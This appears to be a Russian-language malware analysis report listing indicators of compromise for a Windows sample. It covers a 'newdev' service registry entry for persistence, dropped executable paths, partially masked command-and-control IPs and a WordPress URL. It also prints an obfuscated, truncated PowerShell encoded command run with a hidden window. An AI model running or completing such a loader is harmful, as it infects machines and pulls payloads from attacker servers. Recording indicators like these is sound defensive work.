Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\newdev] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\newdev] 'ImagePath' = '"%WINDIR%\SysWOW64\api-ms-win-core-datetime-l1-1-0\newdev.exe"'
- 'newdev' "%WINDIR%\SysWOW64\api-ms-win-core-datetime-l1-1-0\newdev.exe"
- 'newdev' %WINDIR%\SysWOW64\api-ms-win-core-datetime-l1-1-0\newdev.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABIAHMAdgBqADYAagBtAD0AKAAoACcASgA5ACcAKwAnAHQAJwApACsAJwBvAHIAJwArACcAXwA5ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAcgBwAHIATwBmAGkAbA...
- %HOMEPATH%\u_3yb4r\j04ag7z\ibfe8b64.exe
- %WINDIR%\syswow64\api-ms-win-core-datetime-l1-1-0\newdev.exe
- %HOMEPATH%\u_3yb4r\j04ag7z\ibfe8b64.exe в %WINDIR%\syswow64\api-ms-win-core-datetime-l1-1-0\newdev.exe
- '20#.#2.141.45':80
- '37.##7.161.206':8080
- '20#.#9.239.162':443
- http://bo###net.com/wp-admin/iR/
- http://20#.##.239.162:443/w2GYM7/16uDvuh/Im5KN3j/ via 20#.#9.239.162
- DNS ASK bo###net.com
- '%HOMEPATH%\u_3yb4r\j04ag7z\ibfe8b64.exe'
- '%WINDIR%\syswow64\api-ms-win-core-datetime-l1-1-0\newdev.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABIAHMAdgBqADYAagBtAD0AKAAoACcASgA5ACcAKwAnAHQAJwApACsAJwBvAHIAJwArACcAXwA5ACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBzAEUAcgBwAHIATwBmAGkAbA...' (со скрытым окном)